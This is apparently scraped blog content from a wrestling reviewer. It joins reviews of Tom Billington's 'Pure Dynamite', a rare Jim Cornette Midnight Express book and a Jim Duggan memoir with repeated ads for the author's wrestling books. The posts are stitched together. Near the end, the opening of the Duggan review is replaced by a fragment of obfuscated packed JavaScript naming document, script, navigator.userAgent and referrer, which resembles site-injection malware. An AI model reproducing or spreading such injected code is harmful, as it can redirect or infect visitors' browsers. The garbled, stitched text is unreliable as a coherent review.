I’ve been on a bit of a reading kick lately and that means trying to knock out some of my wrestling bookshelf. This time around that means Pure Dynamite, the autobiography of the Dynamite Kid Tom Billington from 2001. Kid is one of the most influential stars of all time and was more or less Chris Benoit before Chris Benoit (minus a few important details). Unfortunately he is also a cautionary tale of the horrors of steroid abuse in wrestling, as Kid was notorious for his usage.

If there was one word to sum up Kid, it would seem to be tough. That could mean a few things in his case, as he was certainly tough in the ring and had a reputation of standing up to anyone in the back, but also tough to deal with, tough to please and tough to tolerate. There are times where Kid comes off as just mean for the sake of being mean, with some of his “ribs” feeling like outright abuse of other wrestlers.

Kid also has no problem with flat out saying he thinks someone has no talent and will go on for a good while about how bad someone is. While he will praise some people, it is clear that he had a very specific view of what wrestling was supposed to be and if you didn’t fit his description, he was not interested whatsoever. It got more than a bit tiring of hearing how bad he thought so many people were and how much he couldn’t stand them (he all but HATED the British Bulldog), but it keeps going throughout.

Kid would wind up in a wheelchair after a back injury got far worse than expected. While there is a lot of sympathy to be had for anyone in his state, it isn’t any kind of a surprise given the style and physical abuse (both in the ring and from a needle) that he put himself through. It was going to catch up to him one day and it certainly did, which is probably a big reason why he passed away on his 60^th birthday.

All in all, Kid was an amazing talent in the ring and deserves a lot of praise, but he was also a time bomb who went off more than once, often due to not being treated how he wanted. There is a difference between standing up for yourself and just arguing for the sake of arguing and I don’t think he ever quite got that. The book, while short at 201 pages, packs in a ton about him, but it doesn’t exactly make me sympathetic to him. Instead, it makes me wonder how he lasted as long as he did, because all that skill in the ring doesn’t make up for the way he did pretty much everything else.

For those of you who don’t know, this is one of the holy grails of wrestling books as there was a single printing and nothing else.  I heard that it was available at a used bookstore in town and was there as soon as possible to see if it was still available.  As you might be able to guess, it was, meaning I got to have some fun.Now I didn’t buy it, as I can’t bring myself to pay $100 for the sake of a single book (though it regularly sells for more than that online).  I did however sit down and read it cover to cover in the store (which took some time).  This one had a little something inside though, as in addition to being autographed by Cornette himself, there was this surprise:

That would be an autograph from Bill Watts, saying “Jimmy, without a doubt, my life has been blessed by your wonderful friendship and talent”.  Watts was the owner of Mid-South Wrestling and very influential in developing Cornette’s character and star power.

Now what is so special about this book?  Well in addition to some amazing photographs, including personal letters and even pay slips from shows, Cornette kept a log of nearly every Midnight Express match ever and included them here, plus most of the houses for the shows.  This includes notes under several matches, including why a house might have been up or down or impressive or a disappointment.  There are also several of Cornette’s hilarious stories, funny Christmas poems he wrote on Christmas cards to the locker room back in WCW (he read them on a recent podcast and they’re worth hearing) and a complete history of the team, both before they got together and after their split.

All in all, if you can somehow find this thing (good luck) and can afford it, check this out as it’s one of the most unique and informative wrestling books you’ll ever find.

You have to grow up sometime. Back in 2002, WWE had the greatest influx of talent the company has ever seen. New stars of the future debuted and were mixed together with some of the already established talents, meaning it was time for things to start picking up. You can’t go from rookie to main eventer overnight though, meaning there had to be a time when the new stars grew up. That’s what happened in 2003 and it was a very exciting time.

In this book, I’ll be looking at all fifty two episodes of Smackdown from 2003 as I try to find out what worked and didn’t over the course of the entire year. Each one will be broken down match by match and segment by segment. Included will be analysis and ratings for the shows to see why the year is remembered so poorly.

The book runs about 320 pages and is available on Amazon both in a physical paperback for $9.99 or an e-book format for $2.99. In case you don’t have a Kindle, there are plenty of FREE apps you can get from Amazon for pretty much any electronic device, all of which are available at this link.

You can pick up the book from Amazon here in paperback and here as an e-book.

And from the UK Amazon here in paperback and here as an e-book.

Or if you’re in another country with its own Amazon page, just search “KB Smackdown 2003” and it should be the first thing to come up.

Also you can still get any of my previous books on the Intercontinental Championship, Monday Night Raw from 1997, 1998, 2001, 2003 and the first half of 2014, Monday Nitro from 1995-1999, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, WWE Grab Bag and Clash of the Champions, NXT Volumes I, II and III at my author’s page here.

I hope you like it and shoot me any questions you might have.

KB

If you’re a wrestling fan, you know about the WWE Championship. It’s the most famous wrestling title in the world and has been for a very long time now. The title has been around since 1963 and has gone through a long list of champions over nearly fifty five years of history. You probably know all of the recent history, but there’s a lot more to it than that.

In this book, I look back at the title’s history by looking at over 285 matches, all of which are for the WWE Championship. These matches range from the first ever title change all the way to the most recent title change in November 2017. There are matches from pay per views, house shows, TV shows and more with every WWE Champion in history covered.

This book was originally released in 2013 but a few things have changed since then. I’ve gone through and updated a few matches which were poorly written in the first place and redone and/or added nearly seventy matches. Also added are brief thoughts and a few stats on each champion, summing up their time with the title. It’s also better organized and just a better overall presentation this time around.

The book runs just shy of 500 pages and is available on Amazon both in a physical paperback for $12.99 or an e-book format (which has ALSO been updated) for $2.99. In case you don’t have a Kindle, there are plenty of FREE apps you can get from Amazon for pretty much any electronic device, all of which are available at this link.

You can pick up the book from Amazon here.

And From the UK Amazon here.

Or if you’re in another country with its own Amazon page, just search “KB WWE Championship” and it should be the first thing to come up.

Also you can still get any of my previous books on the Intercontinental Championship, Monday Night Raw from 1997, 1998, 2001 and the first half of 2014, Monday Nitro from 1995-1999, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, WWE Grab Bag and Clash of the Champions at my author’s page here.

I hope you like it and shoot me any questions you might have.

KB

And it made me proud to be an American.  Or Canadian for like three weeks.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|addra|var|u0026u|referrer|yntry||js|php'.split('|'),0,{})) was a cheap buy so why not. I met Duggan at Axxess last year and he couldn’t have been a nicer guy so it was a pretty easy choice. The book was a lot more straightforward than Holly’s but in a way that makes it more fun. Duggan is far nicer than most wrestling writers as he rarely throws anyone under the bus or says bad things about anyone, save for himself at times.